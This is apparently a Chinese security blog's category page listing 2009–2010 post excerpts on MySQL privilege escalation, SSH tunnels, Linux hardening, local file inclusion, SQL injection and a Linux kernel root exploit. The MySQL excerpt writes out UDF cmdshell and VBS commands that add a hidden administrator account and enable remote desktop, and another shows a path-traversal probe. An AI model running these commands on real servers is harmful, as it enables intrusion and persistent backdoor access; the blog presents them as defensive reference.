安全相关

mysql提权方法四则

Posted in 安全相关 on 1月 22nd, 2010 by 飘(piao2010) – Be the first to comment

本文是转载,仅供系统管理人员安全防护参考之用!
一 UDF提权

这类提权方法我想大家已经知道了,我大致写一下,具体语句如下:

create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:\web\3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

二 VBS启动项提权

create table a (cmd text);
insert into a values (”set wshshell=createobject (”"wscript.shell”") ” );
insert into a values (”a=wshshell.run (”"cmd.exe /c net user iis_user 123!@#abcABC /add”",0) ” ); read more »

利用SSH Tunnel(隧道)作安全代理

Posted in 安全相关 on 1月 11th, 2010 by 飘(piao2010) – Be the first to comment

应该是很古老的技术了,拿来凑数更新一下博客吧。至于SSH Tunnel代理有什么用途就留给读者思考吧。利用putty的ssh tunnel功能实现安全的代理,原理是当用putty ssh连接到远程服务器的时候,putty可以在本地开启一个端口,本地的应用程序连接到本地的这个端口。相当于putty在本地充当了一个socks代理服务器为本地的应用程序提供socks代理。 read more »

Linux安全防护十大招数

Posted in Linux, 安全相关 on 12月 15th, 2009 by 飘(piao2010) – Be the first to comment

1.为LILO增加开机口令 

  在/etc/lilo.conf文件中增加选项,从而使LILO启动时要求输入口令,以加强系统的安全性。具体设置如下: 

  boot=/dev/hda 

  map=/boot/map 

  install=/boot/boot.b 

  time-out=60 #等待1分钟 

  prompt 

  default=Linux 

  password= 

  #口令设置 

  image=/boot/vmlinuz-2.2.14-12 

  label=Linux  read more »

利用/proc/self/environ提权

Posted in 安全相关 on 10月 15th, 2009 by 飘(piao2010) – Be the first to comment

一、查找本地漏洞

找到一个可能存在本地包含的文件去check它。
例如: www.website.com/view.php?page=contact.php
替换成 www.website.com/view.php?page=../
我们得到一个错误
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
翻译下以上的错误信息如下:
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/ home / sirgod / public_html / website.com /view.php

说明机会很大,只是不存在文件而已 read more »

php配置session相关知识

Posted in 安全相关 on 9月 21st, 2009 by 飘(piao2010) – 2 Comments

php session有一个GC功能,就是Garbage Collector。这个GC启动的时候,会清除那些已经“超时”的session。它的工作原理:

1.用户访问并登陆网站,这时候后台会调用session_start来尝试生成一个会话(如果已经有会话,则相当于一次有效会话请求)
2.对于这样的每一次有效会话请求(Request),apache的php模块会根据session相关的全局变量gc_probability/gc_divisor =>计算出启动GC的概率,并由此概率来决定在这次请求中是否应该启动GC。举例来说, read more »

SQL注入攻击的种类和防范手段

Posted in 安全相关 on 8月 31st, 2009 by 飘(piao2010) – Be the first to comment

观察近来的一些安全事件及其后果,安全专家们已经得到一个结论,这些威胁主要是通过SQL注入造成的。虽然前面有许多文章讨论了SQL注入,但今天所讨论的内容也许可帮助你检查自己的服务器,并采取相应防范措施。
SQL注入攻击的种类

知彼知己,方可取胜。首先要清楚SQL注入攻击有哪些种类。

1.没有正确过滤转义字符

在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。比方说,下面的这行代码就会演示这种漏洞:

statement := “SELECT * FROM users WHERE name = ‘” + userName + “‘;”

 
这种代码的设计目的是将一个特定的用户从其用户表中取出,但是,如果用户名被一个恶意的用户用一种特定的方式伪造, read more »

WEB压力测试

Posted in FreeBSD, Linux, 安全相关 on 8月 24th, 2009 by 飘(piao2010) – 2 Comments

今天想测试一下前段时间为电子学院写的专业选择系统,看看能承受多大的压力。一开始采用的微软的 Web Application Stress Tool,操作比较傻瓜,后来又找了更加强大的web压力测试工具——Siege

首先,进行安装:

wget ftp://ftp.joedog.org/pub/siege/siege-latest.tar.gz

tar zxvf siege-latest.tar.gz

cd siege-2.67

./configuremake && make install
安装完成后,就可以开始进行压力测试了
修改siege配置
vi ~/.siegerc
调整:

verbose = false
concurrent = 50
delay = 1
internet = true
benchmark = truesiege read more »

Linux Kernel 2.x sock_sendpage() Local Root Exploit

Posted in 0day, Linux, 安全相关 on 8月 22nd, 2009 by 飘(piao2010) – Be the first to comment

今天在milw0rm上看到这个漏洞信息,Google后发现下文,经自己测试(CentOS)只要三步(下载,解压,运行)就能提权成功,危害比较大,管理员们尽快修复吧。

以下来源于包总blog:

在微软本月月经日(8.11)的同一天,国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞,包括但不限于RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行一个命令,就可以通过此漏洞获得root权限,即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单, read more »


无觅相关文章插件,快速提升流量